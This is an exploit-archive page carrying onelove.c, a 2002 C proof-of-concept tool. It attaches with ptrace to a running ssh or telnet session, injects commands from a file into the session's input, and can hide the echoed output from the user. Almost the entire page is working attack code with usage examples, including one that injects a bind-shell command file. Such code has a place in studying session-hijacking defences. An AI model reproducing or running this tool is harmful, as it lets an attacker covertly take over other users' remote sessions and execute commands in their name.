what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

onelove.c

onelove.c
Posted Oct 5, 2002
Authored by xenion

This is proof of concept code that demonstrates how commands can be injected in a ptraced telnet/ssh session.

tags | exploit, proof of concept
SHA-256 | fcf17d9a0de440a6bd66e19f660503ac7d20c59d309da8360f494141ae3c327d

onelove.c

Change Mirror Download
/*
*
* $Id: onelove.c,v 0.4 2002/10/03 2:10:27 xenion Exp $
*
* ---------------------------------------------------------------------------
* No part of this project may be used to break the law, or to cause damage of
* any kind. And I'm not responsible for anything you do with it.
* ---------------------------------------------------------------------------
* "THE BEER-WARE LICENSE" (by Poul-Henning Kamp, Revision 42):
* <xenion@acidlife.com> wrote this file. As long as you retain this notice
* you can do whatever you want with this stuff. If we meet some day, and you
* think this stuff is worth it, you can buy me a beer in return.
* xenion ~ Dallachiesa Michele
* ---------------------------------------------------------------------------
*
* This is proof of concept code demostrating how we can inject commands
* on a ptraced telnet/ssh session.
*
* ---------------------------------------------------------------------------
*
*
* EXAMPLES
*
* ./onelove -p2418 -0 -c _boxinfo -l l0g -+ -e
*
* attach pid 2418,
* enable ssh fd(s),
* use _boxinfo for commands,
* log to file,
* log to stdout (without -l ignored),
* enable echo hiding.
*
* ./onelove -p3953 -1 -c _bindshell -e
*
* attach pid 3953,
* enable telnet fd(s),
* use _bindshell for commands,
* enable echo hiding.
*
*
* LENGTH OF read(2) BUFFERS, MIGHT HELP SOMETIMES:
*
* ssh : 16384
* telnet: 8192
* BitchX: 2048
*
*
* GREETZ
*
* Dark-Angel, my friends.. you know who you are.
*
*/


#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <linux/user.h>
#include <signal.h>
#include <asm/unistd.h>
#include <dirent.h>
#include <errno.h>
#include <limits.h>
#include <time.h>
#include <sys/stat.h>


#define WORD_SIZE 4
#define BUFLEN 4096
#define CMDLEN 4096
#define VERSION "0.4"

/*
* PTRACE states
*/
#define PTRACE_NOT_ATTACHED 0 /* not yet attached */
#define PTRACE_STOP1 1 /* first stop */
#define PTRACE_STOP2 2 /* second stop */
#define PTRACE_DONE 3 /* we've finished our work */

/*
* INJECT states
*/
#define INJECT_NOTH 0 /* nothing to do, just do nothing */
#define INJECT_TODO 1 /* we've to inject our commands */
#define INJECT_HIDE 2 /* now we've to hide the output */

/*
* ssh/telnet fd(s)
*/
#define READ_FD_SSH 4
#define WRITE_FD_SSH 5
#define READ_FD_TELNET 0
#define WRITE_FD_TELNET 1

#define LOG(arg...) { \
fprintf(o.log, "## "); \
fprintf(o.log, ## arg); \
fflush(o.log); \
if(o.stdout) { \
fprintf(stdout, "## "); \
fprintf(stdout, ## arg); \
fflush(stdout); \
} \
}

#define LOG_WRITE(arg...) { \
fwrite(## arg, o.log); \
fflush(o.log); \
if(o.stdout) { \
fwrite(## arg, stdout); \
fflush(stdout); \
} \
}


// 'x' viene approssimato per eccesso ad un multiplo di 'y'
#define COUNT_OK(x, y) (##x % ##y != 0 ? ##x+(##y - (##x % ##y)) : ##x)

// 'x' viene approssimato per difetto ad un multiplo di 'y'
#define LEN_OK(x, y) (##x-(##x % ##y))

#define IS_SYSCALL_AND_FD(x) \
(data.orig_eax == __NR_##x && data.ebx == o.fd_##x)

#define SIG_NAME(x) x == SIGURG ? "SIGURG" : \
x == SIGPIPE ? "SIGPIPE" : \
x == SIGQUIT ? "SIGQUIT" : \
x == SIGINT ? "SIGINT" : \
x == SIGTERM ? "SIGTERM" : \
x == SIGHUP ? "SIGHUP" : \
x == SIGSEGV ? "SIGSEGV" : \
x == SIGBUS ? "SIGBUS" : "UNKNOWN"

#define FD_SSH_OR_TELNET o.fd_read == READ_FD_SSH ? \
(o.fd_write == WRITE_FD_SSH ? \
"(ssh)" : "") : \
o.fd_read == READ_FD_TELNET ? \
(o.fd_write == WRITE_FD_TELNET ? \
"(telnet)" : "") : ""


void fatal(char *, ...);
void init_opt(int, char **);
void help();
void sigdie(int);
int memread(pid_t, unsigned char *, unsigned char *, long,
long);
int memwrite(pid_t, unsigned char *, unsigned char *, long,
long);
int dataonstdin();
unsigned char *memem(unsigned char *, unsigned char *, size_t, size_t);


typedef struct {
pid_t pid;
int status,
mode,
inject,
echo,
cmdlen,
fd_read,
fd_write,
stdout;
unsigned char cmd[CMDLEN];
FILE *log;
} OPT;


OPT o;


int
main(int argc, char **argv)
{
struct user_regs_struct data;
unsigned char buf[BUFLEN];
int z;
long edx_write_backup;

o.mode = PTRACE_NOT_ATTACHED;

init_opt(argc, argv);

LOG("pid : %d\n", getpid());
LOG("ptraced pid : %d\n", o.pid);
LOG("echo : %s\n", o.echo ? "YES" : "NO");
LOG("fds : r:%d,w:%d %s\n", o.fd_read, o.fd_write,
FD_SSH_OR_TELNET);
LOG("\n");

signal(SIGTERM, sigdie);
signal(SIGINT, sigdie);
signal(SIGQUIT, sigdie);
signal(SIGHUP, sigdie);
signal(SIGSEGV, sigdie);
signal(SIGURG, SIG_IGN);

if (ptrace(PTRACE_ATTACH, o.pid, 0, 0) < 0)
fatal("ptrace(PTRACE_ATTACH, ...) failed");

LOG("Attached! Now I'll display the session I/O. When you're\n");
LOG("sure the user can run commands, press ENTER and wait.\n");
LOG("\n");

o.mode = PTRACE_STOP1;
o.inject = INJECT_NOTH;

wait(NULL);

while (o.mode != PTRACE_DONE) {

if (ptrace(PTRACE_SYSCALL, o.pid, 0, 0) < 0)
fatal("ptrace(PTRACE_SYSCALL ...) failed");

wait(&o.status);

if (WSTOPSIG(o.status) != SIGTRAP) {
LOG("Sending signal %d\n", WSTOPSIG(o.status));
ptrace(PTRACE_SYSCALL, o.pid, 0, WSTOPSIG(o.status));
}

if (ptrace(PTRACE_GETREGS, o.pid, 0, &data) < 0)
fatal("ptrace(PTRACE_GETREGS ...) failed");

switch (o.mode) {

case PTRACE_STOP1:

if (o.inject == INJECT_HIDE && IS_SYSCALL_AND_FD(write)) {
z = memread(o.pid, buf, (unsigned char *) data.ecx,
data.edx, sizeof buf);

edx_write_backup = data.edx;
data.edx = 0;

if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0)
fatal("ptrace(PTRACE_SETREGS ...) failed");

if (z < 0) {
LOG("\n*** WARNING(0): memread() failed (%ld bytes to read) ***\n", edx_write_backup);
} else
LOG_WRITE(buf, 1, data.edx);
}

o.mode = PTRACE_STOP2;
break;

case PTRACE_STOP2:

if (dataonstdin()) {
read(0, buf, sizeof buf);

if (*buf == 'q')
fatal("Aborted");

if (o.inject == INJECT_NOTH) {
o.inject = INJECT_TODO;
LOG("\n");
LOG("I'll wait for a read(2) buffer ending with \\r or \\n,\n");
LOG("where I'll inject the commands..\n");
LOG("\n");
}

if (o.inject == INJECT_HIDE) {
LOG("Done, exiting..\n");
o.inject = INJECT_NOTH;
o.mode = PTRACE_DONE;
LOG("\n");
LOG("Done.\n");
break;
}
}

if (o.inject == INJECT_HIDE && IS_SYSCALL_AND_FD(write)) {
/*
* restoring the count of bytes to send
*/
data.eax = edx_write_backup;
if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0)
fatal("ptrace(PTRACE_SETREGS ...) failed");
}

if (IS_SYSCALL_AND_FD(write) || IS_SYSCALL_AND_FD(read)) {
z = memread(o.pid, buf, (unsigned char *) data.ecx,
data.eax, sizeof buf);

if (z < 0) {
LOG("\n*** WARNING(1): memread() failed (%ld bytes to read) ***\n", data.eax);
o.mode = PTRACE_STOP1;
break;
}

LOG_WRITE(buf, 1, data.eax);

if (o.inject == INJECT_TODO && IS_SYSCALL_AND_FD(read)) {

if (buf[data.eax - 1] == '\r'
|| buf[data.eax - 1] == '\n') {

LOG("Injecting commands\n");

z = memwrite(o.pid,
(unsigned char *) (data.ecx +
data.eax), o.cmd,
o.cmdlen, sizeof o.cmd);
if (z < 0)
fatal("memwrite( ...) failed");

data.eax += o.cmdlen;

if (ptrace(PTRACE_SETREGS, o.pid, 0, &data) < 0)
fatal("ptrace(PTRACE_SETREGS ...) failed");

if (!o.echo) {
LOG("Done.\n");
o.mode = PTRACE_DONE;
break;
} else {
o.inject = INJECT_HIDE;
LOG("Done.\n");
LOG("I'll hide all write(2)s untill you press ENTER\n");
LOG("\n");

}
}
}
}

o.mode = PTRACE_STOP1;
break;

default:
fatal("Oops");
break;
}
}

LOG("Detaching process\n");
if (ptrace(PTRACE_DETACH, o.pid, 0, 0) < 0) {
LOG("ptrace(PTRACE_DETACH ...) failed\n");
} else
LOG("Ok, you're safe this time ;)\n\n");
return 0;
}


void
init_opt(int argc, char **argv)
{
int c;
FILE *f;

o.echo = 0;
o.pid = 0;
o.fd_read = o.fd_write = -1;
o.cmdlen = -1;
o.log = stdout;
o.stdout = 0;

while ((c = getopt(argc, argv, "p:r:w:01c:l:+eh")) != EOF)
switch (c) {

case 'p':
o.pid = atoi(optarg);
break;

case 'r':
o.fd_read = atoi(optarg);
break;

case 'w':
o.fd_write = atoi(optarg);
break;

case '0':
o.fd_read = READ_FD_SSH;
o.fd_write = WRITE_FD_SSH;
break;

case '1':
o.fd_read = READ_FD_TELNET;
o.fd_write = WRITE_FD_TELNET;
break;

case 'l':
o.log = fopen(optarg, "a+");
if (o.log == NULL)
fatal("unable to open log file");
break;

case '+':
o.stdout = 1;
break;

case 'c':
f = fopen(optarg, "r");
if (f == NULL)
fatal("unable to open cmd file");
o.cmdlen = fread(o.cmd, 1, sizeof o.cmd, f);
if (o.cmdlen == sizeof o.cmd || o.cmdlen == 0)
fatal("cmdfile broken");
fclose(f);
break;

case 'e':
o.echo = 1;
break;

case 'h':
help();
break;

default:
fatal("try -h");
}

if (o.pid == 0)
fatal("pid needed");

if (o.fd_read == -1 || o.fd_write == -1)
fatal("r/w fd(s) needed");

switch (o.cmdlen) {
case -1:
fatal("cmd file needed");
case 0:
fatal("cmd file broken");
}

if (o.log == stdout)
o.stdout = 0;

}


void
fatal(char *pattern, ...)
{
va_list ap;

va_start(ap, pattern);
fprintf(o.log, "** ");
vfprintf(o.log, pattern, ap);
fprintf(o.log, "; exit forced.\n");
va_end(ap);

if (o.pid == 0) {
fclose(o.log);
exit(1);
}

sigdie(SIGTERM);
}



void
help()
{
printf
("onelove v%s by xenion - Injects commands on a ptraced telnet/ssh session\n\n",
VERSION);
printf("USAGE: onelove [options]\n\n");
printf("-p pid (ssh|telnet) pid\n");
printf
("-0 default fd(s) for ssh (r:%d,w:%d)\n",
READ_FD_SSH, WRITE_FD_SSH);
printf
("-1 default fd(s) for telnet (r:%d,w:%d)\n",
READ_FD_TELNET, WRITE_FD_TELNET);
printf("-r fd read(2) fd\n");
printf("-w fd write(2) fd\n");
printf("-c file cmdfile\n");
printf("-l file logfile\n");
printf
("-+ log to stdout (without -l ignored)\n");
printf("-e enable echo hiding\n\n");

exit(0);
}


void
sigdie(int signo)
{
int pid;

LOG("caught %s signal (%d), cleaning up\n", SIG_NAME(signo), signo);

if (o.mode != PTRACE_NOT_ATTACHED) {

switch (pid = fork()) {

case -1:
fatal("fork()");
break;

case 0: /* child process starts */
LOG("Sending a SIGCONT signal to the ptraced process\n");
if (kill(o.pid, SIGCONT) < 0) {
o.pid = 0;
fatal("kill()");
}
break;

default: /* parent process starts */
wait(&o.status);
if (ptrace(PTRACE_DETACH, o.pid, 0, 0) < 0)
LOG("ptrace(PTRACE_DETACH ...) failed\n");
LOG("exited: %s\n", strerror(errno));
break;

}

}

fclose(o.log);
exit(0);
}


int
memread(pid_t pid, unsigned char *dest, unsigned char *src, long count,
long len)
{
long off;
long res;

if (count < 0 || len < 0)
return (-1);

count = COUNT_OK(count, WORD_SIZE);
len = LEN_OK(len, WORD_SIZE);

if (len < count)
return -1;

for (off = 0; off < count; off += WORD_SIZE) {
res = ptrace(PTRACE_PEEKTEXT, pid, src + off, 0);
if (errno > 0)
return -1;
else
memcpy(dest + off, &res, WORD_SIZE);
}

return count;
}


int
memwrite(pid_t pid, unsigned char *dest, unsigned char *src, long count,
long len)
{
long off;
long res;

if (count < 0 || len < 0)
return (-1);

count = COUNT_OK(count, WORD_SIZE);
len = LEN_OK(len, WORD_SIZE);

if (len < count)
return -1;

for (off = 0; off < count; off += WORD_SIZE) {
memcpy(&res, src + off, WORD_SIZE);
if (ptrace(PTRACE_POKETEXT, pid, dest + off, res) < 0)
return -1;
}

return count;
}


int
dataonstdin()
{
fd_set rfds;
struct timeval tv;
int retval;

FD_ZERO(&rfds);
FD_SET(0, &rfds);
tv.tv_sec = tv.tv_usec = 0;

retval = select(1, &rfds, NULL, NULL, &tv);

if (retval)
return 1;
else
return 0;
}

unsigned char *
memem(unsigned char *buf0, unsigned char *buf1, size_t len0, size_t len1)
{
size_t i,
j;
int found;

if (len1 > len0)
return NULL;

for (i = 0; i < len0; ++i) {
if (buf0[i] == buf1[0]) {
found = 1;
for (j = 1; j + i < len0 && j < len1; ++j)
if (buf0[i + j] != buf1[j])
found = 0;
if (found)
return &buf0[i];
}
}

return (NULL);
}

/*
* EOF
*/

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close